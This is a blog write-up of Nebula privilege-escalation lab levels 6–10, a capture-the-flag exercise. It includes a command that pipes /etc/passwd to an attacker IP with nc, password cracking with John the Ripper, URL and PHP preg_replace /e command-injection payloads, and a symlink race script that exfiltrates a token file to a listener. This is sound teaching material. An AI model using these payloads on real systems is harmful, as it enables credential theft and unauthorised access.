Nebula (6–10) — Exploit Education

Overview

Nebula is a set of exploitation challenges centered around the concept of privilege escalation in Linux. There are set of 19 challenges covering the different aspects, techniques and approaches to privilege escalation abuse in Linux. Here I will cover challenges 6–10.

I have covered the other challenges of the series here.

Levels (0–5): https://the-dark-lord.medium.com/nebula-0-5-exploit-education-3f4ae3096a30

Levels (11–16): https://the-dark-lord.medium.com/nebula-11-16-exploit-education-6673b85ec8e8

Levels (17–19):https://the-dark-lord.medium.com/nebula-17-19-exploit-education-7867f7c036a5

Level 6

The way unix stores the passwords has evolved over time. The level description states that flag06 password is stored according to a legacy unix system. Legacy unix systems stored the password using crypt() which used the user’s password as key and encrypted a block of 0’s 25 times. CT of previous becomes PT of Next (25-DES but key is same).
On a different attacker machine (192.168.168.129), we have a utility called john-the-ripper which can crack hashes of weak password

cat /etc/passwd | nc 192.168.168.129 2222
john {filename}

After getting the file, use john to crack the password.
We can then ssh using this cracked password ‘hello’ for flag06 and then use getflag.

john the ripper to crack password

Level 7

Command injection in web app running on 7007 (deduced from the contents httpd.conf file). The script we are targeting is written in perl, and we can actually exploit a command injection flaw in the application.

The host parameter is being taken from a request , and a ping command is executed on the host. We can pollute this parameter to achieve command injection.

Way to inject into the system call is by using a backtick “`” character.

http://{nebulavm}:7007/index.cgi?Host=%3Bgetflag

Level 08

This challenge involves deducing the password of the flag08 user via a packet capture file.
The packet capture shows the keystrokes being captured. The hex byte ‘07f’ indicates a backspace. So we can derive the password by removing a preceding character for each recurring ‘07f’. Based on this we know the password is backd00Rmate . The chars o,o,r,8 were removed due to backspace being present

wireshark packet capture showing password

Level 09

This challenge centers around command injection in PHP involving backtracing. This challenge is definitely on the trickier side with a lot of nuances for escaping the payload.

In php5 ,backtracing occurs in the preg_replace function. Exploiting this backtracking with code injection can lead to a command injection.

The replace function is being run on argv[1] which is being read line by line.

Pasting the code here , so is it easier to reference during the read

<?phpfunction spam($email)
{
$email = preg_replace("/\./", " dot ", $email);
$email = preg_replace("/@/", " AT ", $email);
return $email;
}
function markup($filename, $use_me)
{
$contents = file_get_contents($filename);
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
$contents = preg_replace("/\[/", "<", $contents);
$contents = preg_replace("/\]/", ">", $contents);
return $contents;
}
$output = markup($argv[1], $argv[2]);print $output;?>

We take a look at the following line of code

$contents = preg_replace(“/(\[email (.*)\])/e”, “spam(\”\\2\”)”, $contents);

The file_get_contentis converting the entire file onto a string $contents
The file is read and stored as a string, which is evaluated on line 15.

The preg_replace($pattern,$replacement,$target_string) function returns an array of strings where all matches of a pattern or list of patterns found in the input are replaced with substrings.

$pattern is used to search, and it specifies a “/e” which is used to notify to execute the results. The “/e” part specified in the first argument of the preg replace will execute the results of the preg_replace as php code.

If $contents has the value “email {${exec(getflag)}}”, what shall happen?

The results of the replacement operation is executed because of the “/e” flag. (It is important to keep in mind that the he exploit string also needs to match the pattern specified.)

We cannot pass the getflagstring within the function as the double inverted quotes will be escaped.
The following file content for example , won’t work due to the above escaping of the double inverted quotes.

[email {${system(“getflag”)}}]

We must use a variable in place of the getflagin the system call. The Spam argument is calling the 2nd argument supplied. Due to “/e” spam will execute with spam(“getlfag”).

With the above points in mind, the final working exploit is (contents of the file)

[email {${system($use_me)}}]

system($use_me) is being placed inside of a function, which is being stored as an unnamed variable using the first set of braces ${ }. The outside set of braces is how you stick variables inside of strings in PHP. In this case the variable is actually a function with only 1 line, a call to system(). Any time that string is evaluated, PHP needs to resolve the value between the outside braces to construct the string, which cascades into the call to exec().

This resolution and execution happens because of the /e flag. The /e also is responsible for the replacement being resolved which is the spam function. The spam function does all the replacements and the argument to the spam function is the 2nd capturing group which is the email or in the case of the exploit, ‘{${system{$use_me}}’. The 2nd argument to the program should be the string getflag

/flag09 /tmp/file_level09 getflag

Level 10

This is an interesting challenge and centers around the concept of race condition. A race condition in a electronic device or system or program is a condition where the output of the program, or behavior of the system or device depends on the sequence or timing of events. In terms of programs, or operating system, such conditions can be exploited for unintended behavior in the favor of the attacker or adversary.

A common technique of achieving race condition is Time-Of-Check Vs Time-Of-Use (TOCTOU). This primarily indicates a difference in state that was achieved between the time something was checked by a program vs the time the results of the check was actually used. https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use

The executable takes an argument and reads that file if the executable has access to it which is checked using the program logic. It takes two arguments, one is the hostIP, and the other is the file. If the program logic determines that there is access to the specified filepath, it sends the file to the host. There is a token file in /home/flag10/token which is the password of the flag10 user, and our goal here is to get the executable to send this file to the host of our choice, so we can read it and log in as flag10 user.

The lines of the code are mostly safe from buffer overflows, and other exploits we have covered so far. The access to file is dictated by the access() system call. On checking the man page of the system call access() , we notice this

Warning: Using access() to check if a user is authorized to, for example, open a file before actually doing so using open(2) creates a security hole, because the user might exploit the short time interval between checking and opening the file to manipulate it.  For  this  rea‐
son, the use of this system call should be avoided.

Another thing to note using access() is that it uses RUID (Real user Id) to determine access, hence the SUID flag10 executable won’t pass the check of the access() system call.

So how do we craft an exploit here around the idea of race condition and TOCTOU. If you checked the Wikipedia link posted earlier, you might have gotten a general idea of how to craft the exploit.

The access is checked by the line of code

if(access(argv[1], R_OK) == 0) {

So we need to have access to the file when this line of code is executed. Once this check is cleared (time of check), we may switch out to point at something we shouldn’t have had access to (time-of-use) like the token file.

We can use symbolic link as the argument. The symbolic link should point to a harmless file which everyone can access when the above line runs or at time-of-check, but when we use it or send it to host, the symbolic link points to the token file.

Since the instructions will be executed rapidly, we have to try multiple times to achieve our desired sequence which is (check access passes to a fake file, the symbolic link switches to point to token, the symbolic link is used by the program to send it to host)

First set up a listener on our Attacker Machine, which is Kali here. (make sure ncat is updated and latest on the distro, older distro the -k does not seem to work as intended)
We use nc for setting up a listening port to receive file on Kali

nc -k -l 0.0.0.0 18211 > out.txt

We will switch the symbolic links in a loop and also call the flag10 on the symbolic link in hopes that switch of the symbolic link happens at the correct time and bypasses access (our desired sequence is achieved)

We run two threads parallelly.

Executing the flag10

#!/bin/bash#while 
x=1
while [ $x -le 5 ]
do
/home/flag10/flag10 /tmp/trustysymlink 192.168.40.129
done

Switching the symbolic links


#!/bin/bash
while :
do
ln -sfn /tmp/fakefile /tmp/trustysymlink && ln -sfn /home/flag10/token /tmp/trustysymlink
done
Kali Machine receives the contents of token file

We have gotten the contents of the token file, and we can now use it to log in as the flag10 user and subsequently execute getflag.

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store